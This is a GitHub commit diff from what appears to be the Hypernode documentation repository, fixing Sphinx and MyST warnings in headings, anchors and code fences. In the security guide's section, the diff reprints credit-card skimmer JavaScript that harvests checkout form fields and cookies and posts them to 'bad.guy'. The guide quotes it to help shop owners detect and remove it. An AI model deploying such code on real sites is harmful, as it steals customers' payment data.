Skip to content

Commit 348595e

Browse files
committed
Fix all myst and sphinx warnings when generating html
1 parent 3a24174 commit 348595e

File tree

44 files changed

+150
-168
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

44 files changed

+150
-168
lines changed

docs/about-hypernode/about-hypernode/hypernode-pricing-plans.md

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -10,11 +10,11 @@ myst:
1010

1111
At Hypernode we offer two managed hosting solutions. You can choose between Managed Cloud Hosting and our Managed Dedicated Hosting.
1212

13-
### Managed Cloud Hosting
13+
## Managed Cloud Hosting
1414

1515
Cloud hosting is a large group of physical servers tied together by a virtual layer. This makes this solution very stable, scaling up and down more efficiently, which can be a significant advantage for webshops. You get your dedicated IP address, resources, and limited ability to manage the server. On top of the cloud server, the Hypernode software layer is wholly focused on making your shop as fast, secure, and manageable as possible. This way, you can focus on your webshop, and we focus on your hosting solution.
1616

17-
#### Essential benefits of cloud hosting
17+
### Essential benefits of cloud hosting
1818

1919
- Scalability
2020
- Paying for what you use model
@@ -24,24 +24,24 @@ Cloud hosting is a large group of physical servers tied together by a virtual la
2424
- Permanently the fastest server at your disposal
2525
- Four incremental snapshots per day.
2626

27-
#### Pricing
27+
### Pricing
2828

2929
Hypernode Cloud Hosting Plans start at € 139,- a month. The pricing is based on your needed resources and your chosen cloud provider. At Hypernode, [we offer three different providers for your cloud hosting](https://support.hypernode.com/en/about/about-us/which-cloud-providers-do-we-use): Combell OpenStack (**Falcon Plans**), DigitalOcean (**Pelican Plans**), and Amazon Web Services (**Eagle Plans**).
3030

3131
[An overview of our Cloud hosting plans can be found here.](https://www.hypernode.com/en/cloud-hosting/#plans)
3232

33-
### Managed Dedicated Hosting
33+
## Managed Dedicated Hosting
3434

3535
Dedicated servers are stand-alone servers that do not have a virtual layer on top of them. Dedicated servers can be connected within a Private LAN network, creating a cluster. This is especially interesting for customers with high volumes.
3636

37-
#### Essential benefits of dedicated hosting
37+
### Essential benefits of dedicated hosting
3838

3939
- Usually more resources
4040
- Comparatively much cheaper
4141
- Powerful bare metal servers
4242
- Complete control over your server environment
4343

44-
#### Pricing
44+
### Pricing
4545

4646
Hypernode Dedicated Hosting plans are named **Jackal** and start at € 499,- a month. The pricing is based on the resources you need. Dedicated servers are always booted with [Herzner](https://www.hetzner.com/).
4747

docs/about-hypernode/billing/control-panel-billing-facturen-faq-dutch.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ We zijn steeds meer Internationale klanten aan het bedienen en omdat wij deze ma
5050

5151
## Kan ik nu met automatisch incasso betalen?
5252

53-
Dat kan zeker, en je kunt nu zelfs ook met Credit Card betalen. Dit doe je simpelweg door in te loggen op [my.hypernode.com](//my.hypernode.com). Vervolgens druk je op je profiel rechtsboven en ga je naar Billing Portal:
53+
Dat kan zeker, en je kunt nu zelfs ook met Credit Card betalen. Dit doe je simpelweg door in te loggen op [my.hypernode.com](https://my.hypernode.com). Vervolgens druk je op je profiel rechtsboven en ga je naar Billing Portal:
5454

5555
![](_res/paSdE2q60V3Q_Kc_FulzAluhCvYzJ6j0PQ.png)
5656

docs/best-practices/database/how-to-run-rabbitmq-on-hypernode.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -31,15 +31,15 @@ Enabling RabbitMQ can be done via de [commandline tool](https://support.hypernod
3131

3232
As an app user you enable RabbitMQ this way:
3333

34-
```nginx
34+
```bash
3535
hypernode-systemctl settings rabbitmq_enabled True
3636
```
3737

3838
Use `False` to turn it off.
3939

4040
If your hosting plan does not support RabbitMQ, you will receive the following message:
4141

42-
```nginx
42+
```console
4343
app@uaijq6-test-magweb-do:~$ hypernode-systemctl settings rabbitmq_enabled --value True
4444
Looks like something went wrong: b'{"rabbitmq_enabled":["RabbitMQ cannot be enabled for this app. Please upgrade to a plan that supports RabbitMQ if you want to make use of this feature."]}'
4545
```
@@ -48,7 +48,7 @@ Looks like something went wrong: b'{"rabbitmq_enabled":["RabbitMQ cannot be enab
4848

4949
You can run this command to restart RabbitMQ:
5050

51-
```nginx
51+
```bash
5252
hypernode-servicectl restart rabbitmq-server
5353
```
5454

@@ -68,7 +68,7 @@ Another way to access the admin interface is via [hypernode-vpn](https://changel
6868

6969
You need to make some changes in Magento in order to use RabbitMQ. For example in `/data/web/magento2/app/etc/env.php`:
7070

71-
```nginx
71+
```php
7272
'queue' =>
7373
array (
7474
'amqp' =>

docs/best-practices/performance/how-to-enable-pagespeed-booster.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,7 @@ For the live webshop URL the setting **Site map only** under "General" can be tu
6262

6363
![](_res/f8CNJ26O7PHi8Gl2A9R6Hg_CS1KC1mz0wA.png)
6464

65-
For \*\*[staging.example.com](//staging.example.com)\*\*this settings can be turned to **False**.
65+
For \*\*[staging.example.com](https://staging.example.com)\*\*this settings can be turned to **False**.
6666

6767
The setting **Purge mode** under "General" can be turned to **DELAYED_BOT**:
6868

docs/best-practices/pwa/hypernode-and-pwa-hosting.md

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -14,13 +14,12 @@ Progressive Web Apps (PWA) are a hot item and are considered the future of web d
1414

1515
Table of Contents
1616

17-
- [The Importance of Mobile Web](#importance-mobile-web)
18-
- [The Challenges for Webshops](#challenges)
19-
- [Progressive Web Apps and it's Advantages](#pwa-advantages)
20-
- [Hypernode and PWA](#hypernode-pwa)
21-
The Importance of Mobile Web
17+
- [The Importance of Mobile Web](#the-importance-of-mobile-web)
18+
- [The Challenges for Webshops](#the-challenges-for-webshops)
19+
- [Progressive Web Apps and it's Advantages](#progressive-web-apps-and-its-advantages)
20+
- [Hypernode and PWA](#hypernode-and-pwa)
2221

23-
______________________________________________________________________
22+
## The Importance of Mobile Web
2423

2524
Mobile web involves accessing websites via smartphones and tablets. Research company Forrester has predicted mobile commerce continues to grow and will contribute to half of overall retail sales growth by 2022. It is not hard to imagine a webshop optimised for the mobile web will lead to more profit.
2625

docs/best-practices/security/how-to-fix-malicious-javascript-credit-card-hijack.md

Lines changed: 4 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -63,14 +63,13 @@ Search your shop for scripts similar to the ones below and remove them. Searchin
6363

6464
The script below is an example of a minified version of the [scraper Javascript](https://blog.sucuri.net/2015/06/magento-platform-targeted-by-credit-card-scrapers.html).
6565

66-
```nginx
67-
<script>function jj(e){var t="; "+document.cookie,o=t.split("; "+e+"=");return 2==o.length?o.pop().split(";").shift():void 0}jj("SESSIID")||(document.cookie="SESSIID="+(new Date).getTime()),jQuery(function(e){e("button").on("click",function(){var t="",o="post",n=window.location;if(new RegExp("onepage|checkout").test(n)){for(var c=document.querySelectorAll("input, select, textarea, checkbox"),i=0;i<c.length;i++)if(c[i].value.length>0){var a=c[i].name;""==a&&(a=i),t+=a+"="+c[i].value+"&"}if(t){var l=new RegExp("[0-9]{13,16}"),u=new XMLHttpRequest;u.open(o,e("<div />").html("https://bad.guy/jquery.php ").text(),!0),u.setRequestHeader("Content-type","application/x-www-form-urlencoded"),u.send(t+"&asd="+(l.test(t.replace(/s/g,""))?1:0)+"&utmp="+n+"&cookie="+jj("SESSIID")),console.clear()}}})});</script>
66+
```javascript
67+
function jj(e){var t="; "+document.cookie,o=t.split("; "+e+"=");return 2==o.length?o.pop().split(";").shift():void 0}jj("SESSIID")||(document.cookie="SESSIID="+(new Date).getTime()),jQuery(function(e){e("button").on("click",function(){var t="",o="post",n=window.location;if(new RegExp("onepage|checkout").test(n)){for(var c=document.querySelectorAll("input, select, textarea, checkbox"),i=0;i<c.length;i++)if(c[i].value.length>0){var a=c[i].name;""==a&&(a=i),t+=a+"="+c[i].value+"&"}if(t){var l=new RegExp("[0-9]{13,16}"),u=new XMLHttpRequest;u.open(o,e("<div />").html("https://bad.guy/jquery.php ").text(),!0),u.setRequestHeader("Content-type","application/x-www-form-urlencoded"),u.send(t+"&asd="+(l.test(t.replace(/s/g,""))?1:0)+"&utmp="+n+"&cookie="+jj("SESSIID")),console.clear()}}})});
6868
```
6969

7070
The script below is an example of Credit Card Hijack’s malicious code. It installs the functions ‘send’ and ‘clk’, which allows hackers to collect the names and content of every common form input element, when your customer clicks a button or submits a form.
7171

72-
```nginx
73-
<script>
72+
```javascript
7473
var snd =null;
7574
window.onload = function () {
7675
if((new RegExp('onepage')).test(window.location)) {
@@ -129,14 +128,11 @@ console.clear();
129128
snd=null;
130129
setTimeout('send()', 150);
131130
}
132-
133-
</script>
134131
```
135132

136133
The script below was found during the research done by Hypernode. It covers the same functionality as the script above, but is harder to spot because it’s included in a minimised form. In this script Jquery is used to add unnamed click event-handler to every button on the page. If someone clicks the button, the function is triggered and allowed to collect al input data. It checks for credit card numbers and this information is sent off to their data collection server.
137134

138-
```nginx
139-
<script>
135+
```javascript
140136
function jj(e) {
141137
var t = "; " + document.cookie
142138
, o = t.split("; " + e + "=");
@@ -166,7 +162,6 @@ The script below was found during the research done by Hypernode. It covers the
166162
}
167163
})
168164
});
169-
</script>
170165
```
171166

172167
## Recover Your Shop

docs/conf.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -87,3 +87,5 @@
8787
html_js_files = ["js/app.js"]
8888

8989
notfound_no_urls_prefix = True
90+
91+
myst_heading_anchors = 4

docs/ecommerce-applications/magento-1/how-to-configure-redis-for-magento-1.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ Want to know how to configure Redis in Magento 2? Have a look at [this article](
1818

1919
## Setup Redis by Changing your local.xml File
2020

21-
**NB: When you're using a Magento version newer than 1.8.x, you can use the built-in Redis module and simply copy and paste the below snippet. If you're still using an older version than 1.8.x than you need to first [download the Redis Extension.](#Download-the-Redis-Extension-From-Collin-Mollenhour-from-Github)**
21+
**NB: When you're using a Magento version newer than 1.8.x, you can use the built-in Redis module and simply copy and paste the below snippet. If you're still using an older version than 1.8.x than you need to first [download the Redis Extension.](#download-the-redis-extension-from-collin-mollenhour-from-github-for-magento-versions-older-than-18x)**
2222

2323
Open your local.xml file and paste the next lines of code after the tag:
2424

docs/ecommerce-applications/magento-1/how-to-configure-varnish-for-magento-1-x.md

Lines changed: 9 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -15,19 +15,18 @@ Although Varnish is extremely awesome when it get's to speeding up websites, Var
1515

1616
## Table of Contents
1717

18-
- [Enable Varnish for Magento 1.x](#enable-varnish)
19-
- [All Customers: Via the hypernode-systemctl CLI Tool](#via-cli-tool)
20-
- [Dutch Customers: Via Your Service Panel](#via-service-panel)
21-
- [International Customers: Via Your Control Panel](#via-control-panel)
18+
- [Enable Varnish for Magento 1.x](#enable-varnish-for-magento-1x)
19+
- [All Customers: Via the hypernode-systemctl CLI Tool](#all-customers-via-the-hypernode-systemctl-cli-tool)
20+
- [Dutch Customers: Via Your Service Panel](#dutch-customers-via-your-service-panel)
21+
- [International Customers: Via Your Control Panel](#international-customers-via-your-control-panel)
2222
- [Install Turpentine](#install-turpentine)
23-
- [Configure Turpentine](#configure-terpentine)
24-
- [Test Your Shop With Varnish](#test-varnish)
25-
- [Enable Debug Headers](#debug-headers)
26-
- [Warming Your Cache](#warm-cache)
23+
- [Configure Turpentine](#configure-turpentine)
24+
- [Test Your Shop With Varnish](#test-your-shop-with-varnish)
25+
- [Enable Debug Headers](#enable-debug-headers)
26+
- [Warming Your Cache](#warming-your-cache)
2727
- [Troubleshooting](#troubleshooting)
28-
Enable Varnish for Magento 1.x
2928

30-
______________________________________________________________________
29+
## Enable Varnish for Magento 1.x
3130

3231
Before installing Turpentine we recommend enabling Varnish on your Hypernode using the instructions below.
3332

docs/ecommerce-applications/magento-1/how-to-reset-your-magento-1-x-admin-password.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ needs_review: true
1111

1212
# How to Reset Your Magento 1.x Admin Password
1313

14-
If you are unable to login to your Magento shop, you have several methods to retrieve a new password to log back in.
14+
If you are unable to log in to your Magento shop, you have several methods to retrieve a new password to log back in.
1515

1616
These methods are:
1717

@@ -40,7 +40,7 @@ You then will be asked to insert a new password. Insert the password twice and c
4040

4141
Using the Magento backend, you can only reset a password if you happen to know your current password, or with a little help from someone else with a valid set of credentials.
4242

43-
If you don’t know your current Magento admin credentials, you can either use the **[Reset Password](#reset-pass-function)** functionality as explained earlier, or change your password with the tools mentioned below.
43+
If you don’t know your current Magento admin credentials, you can either use the **[Reset Password](#use-the-reset-password-functionality)** functionality as explained earlier, or change your password with the tools mentioned below.
4444

4545
### Reset Your Own Password Via the Magento Backend
4646

0 commit comments

Comments
 (0)